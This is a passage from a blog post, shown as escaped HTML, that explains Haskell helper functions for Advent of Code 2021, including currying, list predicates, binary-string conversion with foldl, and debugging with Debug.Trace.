&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;count&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Bool&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;So we can actually think of &lt;code&gt;count&lt;/code&gt; as having several types:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;it takes a &lt;code&gt;(a -&amp;gt; Bool)&lt;/code&gt;, a &lt;code&gt;[a]&lt;/code&gt;, and returns an &lt;code&gt;Int&lt;/code&gt;; or&lt;/li&gt;
&lt;li&gt;it takes a &lt;code&gt;(a -&amp;gt; Bool)&lt;/code&gt; and returns a &lt;code&gt;([a] -&amp;gt; Int)&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Either way the function does the same thing. Under the hood, however, the Haskell compiler thinks using the latter version. This phenomenon is known as currying and its flexibility is quite useful for creating partial functions.&lt;/p&gt;
&lt;h3 id=&quot;firstby-lastby-a-bool-a-a&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-haskell-utils/#firstby-lastby-a-bool-a-a&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; &lt;code&gt;firstBy, lastBy :: (a -&amp;gt; Bool) -&amp;gt; [a] -&amp;gt; a&lt;/code&gt;&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;firstBy&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;head&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;filter&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;lastBy&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;last&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;filter&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Both &lt;code&gt;firstBy&lt;/code&gt; and &lt;code&gt;lastBy&lt;/code&gt; have similar function types: they take a predicate &lt;code&gt;(a -&amp;gt; Bool)&lt;/code&gt;, a list &lt;code&gt;[a]&lt;/code&gt;, and return an element &lt;code&gt;a&lt;/code&gt;. You can probably guess what these do by just looking at the names and types.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;ghci&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;firstBy&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;even&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;..&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;ghci&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;lastBy&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;..&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;even&lt;/code&gt; checks if a number is even. &lt;code&gt;&amp;lt; 4&lt;/code&gt; checks if a number is less than 4. We &lt;em&gt;could&lt;/em&gt; be more explicit: &lt;code&gt;lessThan4 x = x &amp;lt; 4&lt;/code&gt;; but &lt;code&gt;&amp;lt; 4&lt;/code&gt; is just more concise.&lt;/p&gt;
&lt;p&gt;These functions are useful when we&#39;ve generated a list of possible solutions, but only want the first or last element which meets some criteria.&lt;/p&gt;
&lt;h3 id=&quot;frombinary-string-int&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-haskell-utils/#frombinary-string-int&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; &lt;code&gt;fromBinary :: String -&amp;gt; Int&lt;/code&gt;&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;fromBinary&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;foldl&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&#92;&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;acc&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;d&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;acc&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;digitToInt&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;As you could guess from the type signature, this function converts a binary string to the corresponding base-10 integer. You&#39;ll notice that we didn&#39;t give a parameter name for &lt;code&gt;String&lt;/code&gt;, and that&#39;s because we curried &lt;code&gt;foldl&lt;/code&gt; (which takes up to 3 parameters).&lt;/p&gt;
&lt;p&gt;Folds in functional programming are powerful and useful because they are generalised/abstract constructs. And like all generalised/abstract constructs, folds take a bit of time to understand. If you know how &lt;code&gt;reduce&lt;/code&gt; works, &lt;code&gt;foldl&lt;/code&gt; is similar. You can learn more about folds in &lt;a href=&quot;https://learnyouahaskell.github.io/higher-order-functions#folds&quot;&gt;LYAH&#39;s chapter on folds&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To illustrate &lt;code&gt;fromBinary&lt;/code&gt; in action:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;fromBinary&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;10&quot;&lt;/span&gt; 
    &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;digitToInt&lt;/span&gt; &lt;span class=&quot;token char string&quot;&gt;&#39;1&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;digitToInt&lt;/span&gt; &lt;span class=&quot;token char string&quot;&gt;&#39;0&#39;&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;digitToInt&lt;/span&gt; &lt;span class=&quot;token char string&quot;&gt;&#39;0&#39;&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;

&lt;span class=&quot;token hvariable&quot;&gt;fromBinary&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;1011&quot;&lt;/span&gt; 
    &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;digitToInt&lt;/span&gt; &lt;span class=&quot;token char string&quot;&gt;&#39;1&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;digitToInt&lt;/span&gt; &lt;span class=&quot;token char string&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;digitToInt&lt;/span&gt; &lt;span class=&quot;token char string&quot;&gt;&#39;1&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;digitToInt&lt;/span&gt; &lt;span class=&quot;token char string&quot;&gt;&#39;1&#39;&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;digitToInt&lt;/span&gt; &lt;span class=&quot;token char string&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;digitToInt&lt;/span&gt; &lt;span class=&quot;token char string&quot;&gt;&#39;1&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;digitToInt&lt;/span&gt; &lt;span class=&quot;token char string&quot;&gt;&#39;1&#39;&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;digitToInt&lt;/span&gt; &lt;span class=&quot;token char string&quot;&gt;&#39;1&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;digitToInt&lt;/span&gt; &lt;span class=&quot;token char string&quot;&gt;&#39;1&#39;&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;digitToInt&lt;/span&gt; &lt;span class=&quot;token char string&quot;&gt;&#39;1&#39;&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;11&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;digitToInt&lt;/code&gt; is a function defined in &lt;code&gt;Data.Char&lt;/code&gt; which converts a char digit (&lt;code&gt;&#39;0&#39;..&#39;9&#39;&lt;/code&gt;) to the corresponding integer &lt;code&gt;0..9&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;debug-utilities&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-haskell-utils/#debug-utilities&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Debug Utilities&lt;/h2&gt;
&lt;p&gt;Debugging in the functional world is slightly more nuanced than debugging in the imperative world. Haskell&#39;s &lt;code&gt;Debug.Trace&lt;/code&gt; library—with its signature function &lt;code&gt;trace&lt;/code&gt;—allows us to print messages to standard output, bypassing the restrictions of pure functions. Some examples of &lt;code&gt;trace&lt;/code&gt; in action:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;hello&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;String&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;hello&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;trace&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;trace says &#39;hello&#39;&quot;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt;

&lt;span class=&quot;token hvariable&quot;&gt;foo&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;foo&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;trace&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;int: &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;show&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;;  string: &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;False&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;undefined&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;foo&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;s&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;--&lt;/span&gt;

&lt;span class=&quot;token hvariable&quot;&gt;ghci&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;hello&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;world&quot;&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;trace&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;says&lt;/span&gt; &#39;&lt;span class=&quot;token hvariable&quot;&gt;hello&#39;&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;world&lt;/span&gt;

&lt;span class=&quot;token hvariable&quot;&gt;ghci&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;foo&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;abc&quot;&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;token hvariable&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;abc&lt;/span&gt;
&lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The first parameter of &lt;code&gt;trace&lt;/code&gt; is the string to output. The second parameter will be returned as is, without modifications.&lt;/p&gt;
&lt;p&gt;In &lt;code&gt;foo&lt;/code&gt;, we define the tracing on a separate line so that it&#39;s easy to comment out. The first match uses &lt;em&gt;guards&lt;/em&gt; (see &lt;a href=&quot;https://learnyouahaskell.github.io/syntax-in-functions#guards-guards&quot;&gt;LYAH&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Here are some convenience utilities that may spare a few keystrokes:&lt;/p&gt;
&lt;h3 id=&quot;show-a-string-a-string&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-haskell-utils/#show-a-string-a-string&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; &lt;code&gt;(++$) :: (Show a) =&amp;gt; String -&amp;gt; a -&amp;gt; String&lt;/code&gt;&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;++$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot; &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;show&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;So that we don&#39;t have to write &lt;code&gt;show&lt;/code&gt; for every non-string item we want to print. We can use this in &lt;code&gt;foo&lt;/code&gt;&#39;s trace message to replace &lt;code&gt;++ show n&lt;/code&gt; with &lt;code&gt;++$ n&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;foo&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;foo&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;trace&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;int:&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++$&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;;  string: &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;False&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;undefined&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;foo&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;s&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;It&#39;s a bit superfluous, but I think writing &lt;code&gt;show&lt;/code&gt; all the time bloats the debug 